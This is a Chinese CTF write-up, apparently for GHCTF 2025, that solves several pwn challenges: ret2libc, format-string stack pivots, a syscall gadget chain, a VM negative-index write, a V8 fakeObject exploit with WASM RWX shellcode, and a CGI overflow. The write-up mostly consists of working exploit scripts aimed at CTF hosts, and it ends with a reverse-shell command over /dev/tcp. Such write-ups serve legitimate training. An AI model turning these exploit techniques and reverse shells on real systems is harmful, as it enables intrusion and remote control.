Hello_world
签到:有后门,开了PIE不能直接覆盖成后门函数地址,但是无伤大雅,后门函数与原返回地址只有后两个B有区别,覆盖后两个B即可。


exp:
from pwn import *
context.log_level = 'info'
io = remote("node2.anna.nssctf.cn",28230)
io.send(cyclic(0x20+8)+b'\xc1')
io.interactive()
ret2libc1


通过负数溢出拿到足够的money,然后买下摊子,触发漏洞函数,打ret2libc即可.
exp:
from pwn import *
from LibcSearcher import *
context.log_level = 'info'
offset=0x40+8
pop_rdi=0x400d73
#io = process("/home/monke/PWN/pwn2")
io = remote("node2.anna.nssctf.cn",28377)
elf=ELF("/home/monke/PWN/ghctf2025/ret2libc1/attachment")
libc=ELF("/home/monke/PWN/ghctf2025/ret2libc1/libc.so.6")
main_addr=elf.sym["main"]
io.sendlineafter("6.check youer money",b'1')
io.sendlineafter("3.fragrans $20",b'2')
io.sendlineafter("How many flowers do you want to buy?",b'-1000000')
io.sendline(b'5')
payload=cyclic(offset)+p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(elf.sym["shop"])
io.sendlineafter('You can name it!!!',payload)
puts = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))
libcbase=puts-libc.sym['puts']
system=libcbase+libc.sym['system']
binsh = libcbase + next(libc.search(b"/bin/sh"))
print(hex(system))
print(hex(binsh))
payload=cyclic(offset)+p64(pop_rdi)+p64(binsh)+p64(system)
io.sendlineafter('You can name it!!!',payload)
io.interactive()
ret2libc2
没有pop_rdi的gadget,意味着不能通过输出函数来泄露libc,只能直接泄露。注意到题目暗示了format,并且在leave前执行了很奇怪的操作:lea rax,[rbp+buf](下图红框)。如果在输入的时候往buf写入“%n$p”,然后覆盖返回地址到format处的gadget(下图绿框),就能触发格式化字符串漏洞任意读写,如图:

通过调试确定泄露的payload(选择libc_start_main+0x128来泄露):

payload=b'%27$p'
payload=payload.ljust(0x30,b"\x00")+p64(0)+p64(0x401227)
这样就能求出libc基址打ret2libc,但是,由于前面把程序流劫持到了函数中间开始运行,少了函数开头初始化栈帧的步骤,导致再一次leave的话rsp会被劫持到rbp+0x8处,所以rbp不能随便填。
于是干脆将计就计打栈迁移,提前把rbp布置到bss段,这样rsp也会被劫持到bss段,然后再次进入read来写入ROP(这一步同样也会覆盖rbp,注意使rbp尽量往高地址靠,这样要打onegadget的话容易满足[rbp-0x70]=NULL这种条件)
但是打system失败了,猜测是栈条件不满足。结合题目提示要打onegadget,那就直接打onegadget,可以打通。
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
offset=0x30
gadget=0x40124a
bss=0x404060
#io = process("/home/monke/PWN/ghctf2025/ret2libc2/ret2libc2")
io = remote("node2.anna.nssctf.cn",28806)
#gdb.attach(io,"b read")
elf=ELF("/home/monke/PWN/ghctf2025/ret2libc2/ret2libc2")
libc=ELF("/home/monke/PWN/ghctf2025/ret2libc2/libc.so.6")
og=[0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43]
#leak
#payload=b'f'*offset+p64(0x404060+0x30)+p64(0x40126D)+p64(0x40123b)
payload=b'%27$p'
payload=payload.ljust(0x30,b"\x00")+p64(bss)+p64(0x401227)
io.sendline(payload)
io.recvuntil("0x")
libc_start_main_128=io.recv(12)
libc_start_main_128=int(libc_start_main_128,16)
print(hex(libc_start_main_128))
libc_base=libc_start_main_128-0x29e40
pop_rdi=libc_base+0x2a3e5
ret=libc_base+0x29139
system=libc_base+libc.sym['system']
binsh = libc_base + next(libc.search(b"/bin/sh"))
print(hex(libc_base))
og=og[0]+libc_base
#gdb.attach(io)
#attack
payload2=cyclic(0x30)+p64(bss+0x300)+p64(og)
io.send(payload2)
io.interactive()
真会布置栈吗?
一道很有趣的题,一共就两函数:


有两个gadget函数IDA没显示:

很明显这个题要打ret2syscall,但是题目基本没有给常规的pop gadget,需要精心构造。
需要把0x3b传给rax,binsh的地址传给rdi,然后调用syscall。
注意到下图绿框中的gadget交换了rax和r13的值,通过gadgets函数里的pop r13可以控制r13,也就是可以间接控制rax。

然后gadgets函数中也有pop rdi,题目会打印ret的栈地址,所以可以往栈上写入binsh,把地址pop给rdi就行。,经过动调,payload构造如下:
payload=p64(pop_rsi_rdi_rbx_r13_r15_jmp_r15)+p64(ret+0x18)+p64(0)+p64(0x3b)+p64(xchg_rax_r13_jmp_rsp)+p64(syscall)+b'/bin/sh\x00'
但是会卡住,怀疑是因为rsi和rdx没清零,如图:

留意到题目的以下部分还未使用:

如果给r15赋值dispatcher的地址,然后往rbx指向的位置写入xor清零的这几个gadget,通过jmp r15和dispatcher的几次互相调用,就能清零rdx和rsi,所以payload更改如下:
payload=p64(pop_rsi_rdi_rbx_r13_r15_jmp_r15)+p64(ret+0x30)+p64(ret+8)+p64(0x3b)+p64(dispatcher)+p64(0x401021)+p64(0x401027)+p64(xchg_rax_r13_jmp_rsp)+p64(syscall)+b'/bin/sh\x00'
成功清零:

清零后就能成功getshell了:
完整exp:
from pwn import *
from LibcSearcher import *
context.log_level = 'info'
offset=0x30
gadget=0x40124a
pop_r13_r15_jmp_r15=0x040101a
xchg_rax_r13_jmp_rsp=0x40100C
pop_rdi_r15_jmp_r15=0x40101d
syscall=0x40100a
ret=0x401013
dispatcher=0x401011
#rsi_rdx
io = process("/home/monke/PWN/ghctf2025/stack/attachment")
#io = remote("node2.anna.nssctf.cn",28493)
#gdb.attach(io)
#io.send(asm(shellcraft.sh()))
#io.send(b"ccccc")
pop_rsi_rdi_rbx_r13_r15_jmp_r15=0x401017
binsh=0x400000
ret=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(ret))
#payload=p64(pop_rsi_rdi_rbx_r13_r15_jmp_r15)+p64(ret+0x18)+p64(0)+p64(0x3b)+p64(xchg_rax_r13_jmp_rsp)+p64(syscall)+b'/bin/sh\x00'
payload=p64(pop_rsi_rdi_rbx_r13_r15_jmp_r15)+p64(ret+0x30)+p64(ret+8)+p64(0x3b)+p64(dispatcher)+p64(0x401021)+p64(0x401027)+p64(xchg_rax_r13_jmp_rsp)+p64(syscall)+b'/bin/sh\x00'
io.send(payload)
io.interactive()

ez_vm
vm pwn题,逻辑比较简单
main函数:

execute函数:

题目给的提示是指令格式,但是其实不给也能看出来:

操作码对应操作如下:
其中,v2代表destination_register,v3代表source_register_1,v4代表source_register_2
- 操作码
0x10(16):将指令的低 16 位值加载到目标寄存器reg[v2]。 - 操作码
0x20(32):将寄存器reg[v2]的值压入Stack。 - 操作码
0x30(48):从Stack中弹出一个值并存储到寄存器reg[v2]。 - 操作码
0x40(64):将reg[v3] + reg[v4]的结果存储到reg[v2]。 - 操作码
0x50(80):将reg[v3] - reg[v4]的结果存储到reg[v2]。 - 操作码
0x60(96):将reg[v3] ^ reg[v4]的结果存储到reg[v2]。 - 操作码
0x70(112):将reg[v3] >> reg[v4]的结果存储到reg[v2]。 - 操作码
0x80(128):将reg[v3] << reg[v4]的结果存储到reg[v2]。 - 操作码
0x90(144):将reg[v3]的值存储到内存地址 memory[reg[v2]]处。
需要注意的是,Stack和Memory都是定义在bss段的变量.
题目把打印信息的函数地址给了funcptr并在最后调用,funcptr在bss段:


同时有后门函数:

所以思路是,能不能覆盖funcptr为backdoor函数地址?
注意到——操作码 0x90(144):将 reg[v3] 的值存储到内存地址 memory[reg[v2]] 处。
memory在funcptr高地址处,无法直接溢出覆盖,但是如果reg[v2]是个负数,不就可以往低地址去覆盖到funcptr了吗?把0赋值给reg0,把一个正数赋值给reg1,然后用reg0-reg1即可使reg0为负数,经过动调可以得到,当给reg1赋值0x8时即可覆盖到funcptr:
#reg0->0
io.sendline(str(0x10000000))
#reg2->0x0877
#io.sendline(str(0x10020877))
#reg1->0x8
io.sendline(str(0x10010008))
#reg0=reg0-reg1
io.sendline(str(0x50000001))
#memrery(-8)=reg2
io.sendline(str(0x90000202))

但是由于会整个把funcptr覆盖掉,所以不能只篡改后两位为0x77,需要完整地把backdoor的地址0x400877传过去:
#reg2->backdoor(0x400877)
io.sendline(str(0x10020877))#reg2->0x877
io.sendline(str(0x10060040))#reg6->0x040
io.sendline(str(0x10070010))#reg7->16
io.sendline(str(0x80060607))#reg6=reg6<<16位=0x400000
io.sendline(str(0x40020602))#reg2=reg2+reg6=0x400877
完整exp:
from pwn import *
from LibcSearcher import *
context.log_level = 'info'
io = process("/home/monke/PWN/ghctf2025/vm/my_vm")
#io = remote("node1.anna.nssctf.cn",28833)
io.sendline("0")
io.sendline("1000")
io.sendlineafter("execve:",b'9')
#gdb.attach(io,"b execute")
#reg0->0
io.sendline(str(0x10000000))
#reg2->0x0877
#io.sendline(str(0x10020877))
#reg2->backdoor(0x400877)
io.sendline(str(0x10020877))#reg2->0x877
io.sendline(str(0x10060040))#reg6->0x040
io.sendline(str(0x10070010))#reg7->16
io.sendline(str(0x80060607))#reg6=reg6<<16位=0x400000
io.sendline(str(0x40020602))#reg2=reg2+reg6=0x400877
#reg1->0x8
io.sendline(str(0x10010008))
#reg0=reg0-reg1
io.sendline(str(0x50000001))
#memrery(-8)=reg2
io.sendline(str(0x90000202))
io.interactive()
my_v8
题目与2019 star CTF的题目“oob”类似,就是把oob函数拆解成了Myread和Mywrite来实现,直接改exp就行,oob题目解析见从一道CTF题零基础学V8漏洞利用 – FreeBuf网络安全行业门户,下面给出本题exp:
// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.Myread();
var float_array_map = float_array.Myread();
// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.Mywrite(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;
obj_array.Mywrite(obj_array_map); // 还原array类型,以便后续继续使用
return obj_addr;
}
// 将某个addr强制转换为object对象
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);
float_array.Mywrite(obj_array_map);
let faked_obj = float_array[0];
float_array.Mywrite(float_array_map); // 还原array类型,以便后续继续使用
return faked_obj;
}
var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),
i2f(0x1000000000n),
1.1,
2.2,
];
var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm func addr: 0x" + hex(f_addr));
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr);
data_view.setFloat64(0, i2f(shellcode[0]), true);
data_view.setFloat64(8, i2f(shellcode[1]), true);
data_view.setFloat64(16, i2f(shellcode[2]), true);
f();
Fruit Ninja
web pwn


也就是要想进入execute_cgi函数,必须请求一个可执行文件,发现目录下面刚好给了一个:

execute_cgi函数:
unsigned __int64 __fastcall execute_cgi(unsigned int a1, const char *a2, const char *a3, const char *a4)
{
__int16 v4; // ax
size_t v5; // rax
char v9; // [rsp+2Fh] [rbp-D31h] BYREF
int stat_loc; // [rsp+30h] [rbp-D30h] BYREF
int line; // [rsp+34h] [rbp-D2Ch]
int v12; // [rsp+38h] [rbp-D28h]
__pid_t pid; // [rsp+3Ch] [rbp-D24h]
int pipedes[2]; // [rsp+40h] [rbp-D20h] BYREF
int v15[2]; // [rsp+48h] [rbp-D18h] BYREF
char s[256]; // [rsp+50h] [rbp-D10h] BYREF
char string[256]; // [rsp+150h] [rbp-C10h] BYREF
char v18[256]; // [rsp+250h] [rbp-B10h] BYREF
char dest[512]; // [rsp+350h] [rbp-A10h] BYREF
char s2[21]; // [rsp+550h] [rbp-810h] BYREF
char v21[1003]; // [rsp+565h] [rbp-7FBh] BYREF
char buf[1032]; // [rsp+950h] [rbp-410h] BYREF
unsigned __int64 v23; // [rsp+D58h] [rbp-8h]
v23 = __readfsqword(0x28u);
line = 1;
v12 = -1;
strcpy(dest, a2);
strcpy(s2, "A");
if ( !strcasecmp(a3, "GET") )
{
while ( line > 0 && strcmp("\n", s2) )
line = get_line(a1, s2, 1024LL);
}
else
{
line = get_line(a1, s2, 1024LL);
s2[15] = 0;
if ( !strcasecmp(s2, "Content-Length:") )
v12 = atoi(&s2[16]);
line = get_line(a1, s2, 1024LL);
s2[20] = 0;
if ( !strcasecmp(s2, "Authorization: Basic") )
{
v4 = strlen(v21);
GdecBase64(v21, (unsigned __int16)(v4 - 1), v18);
}
while ( line > 0 && strcmp("\n", s2) )
line = get_line(a1, s2, 1024LL);
if ( v12 == -1 || strcmp(v18, "pwner") )
{
bad_request(a1);
return __readfsqword(0x28u) ^ v23;
}
}
strcpy(s2, "HTTP/1.0 200 OK\r\n");
v5 = strlen(s2);
send(a1, s2, v5, 0);
if ( pipe(pipedes) >= 0 && pipe(v15) >= 0 && (pid = fork(), pid >= 0) )
{
if ( !pid )
{
dup2(pipedes[1], 1);
dup2(v15[0], 0);
close(pipedes[0]);
close(v15[1]);
sprintf(s, "REQUEST_METHOD=%s", a3);
putenv(s);
if ( !strcasecmp(a3, "GET") )
{
sprintf(string, "QUERY_STRING=%s", a4);
putenv(string);
}
else
{
sprintf(buf, "CONTENT_LENGTH=%d", v12);
putenv(buf);
}
execl(dest, dest, 0LL);
exit(0);
}
close(pipedes[1]);
close(v15[0]);
if ( !strcasecmp(a3, "POST") && v12 <= 1024 )
{
recv(a1, buf, v12, 0);
if ( !(unsigned int)check_content(buf) )
memset(buf, 0, 0x400uLL);
write(v15[1], buf, v12);
}
while ( read(pipedes[0], &v9, 1uLL) > 0 )
send(a1, &v9, 1uLL, 0);
close(pipedes[0]);
close(v15[1]);
waitpid(pid, &stat_loc, 0);
}
else
{
cannot_execute(a1);
}
return __readfsqword(0x28u) ^ v23;
}
简单逆向即可得到通信格式:
payload = b'POST /rule.cgi\r\n'
payload += b'Content-Length: 0\r\n'
payload += b'Authorization: Basic cHduZXI=\r\n' #cHduZXI=是pwner的base64编码
函数execl(dest, dest, 0LL);存在命令执行,所以思路是想方设法给dest传递/bin/sh.
发现以下代码存在溢出:
GdecBase64(v21, (unsigned __int16)(v4 - 1), v18);
把Authorization: Basic字段 base64解码后的字符串赋给了v18,但没有限定Authorization: Basic的长度,通过v18溢出能覆盖到dest:
payload1=b'pwner\x00' + b'a'*(0xB10 - 0xA10 - 6) + b'/bin/bash\x00'
到此处的exp:
from pwn import*
from base64 import *
context.log_level="info"
p=remote("node5.anna.nssctf.cn",21757)
#p=remote("127.0.0.1",4000)
payload1=b'pwner\x00' + b'a'*(0xB10 - 0xA10 - 6) + b'/bin/bash\x00'
payload2=base64.b64encode(payload1)
print(payload2)
payload = b'POST /rule.cgi\r\n'
payload += b'Content-Length: 500\r\n'#.format(len(body))
payload += b'Authorization: Basic '+payload2+b'\r\n'
p.sendline(payload)
p.interactive()
cat flag无回显:

可能需要反弹shell:
sh -i >& /dev/tcp/ip/port 0>&1
我的服务器有点问题,弹不上,向web手求助(
成功拿到shell,cat flag:
from pwn import*
from base64 import *
context.log_level="info"
p=remote("node5.anna.nssctf.cn",21757)
#p=remote("127.0.0.1",4000)
payload1=b'pwner\x00' + b'a'*(0xB10 - 0xA10 - 6) + b'/bin/bash\x00'
payload2=base64.b64encode(payload1)
print(payload2)
payload = b'POST /rule.cgi\r\n'
payload += b'Content-Length: 500\r\n'#.format(len(body))
payload += b'Authorization: Basic '+payload2+b'\r\n'
p.sendline(payload)
p.sendlineafter(b'HTTP/1.0 200 OK\r\n',b'sh -i >& /dev/tcp/ip/port 0>&1')
p.interactive()
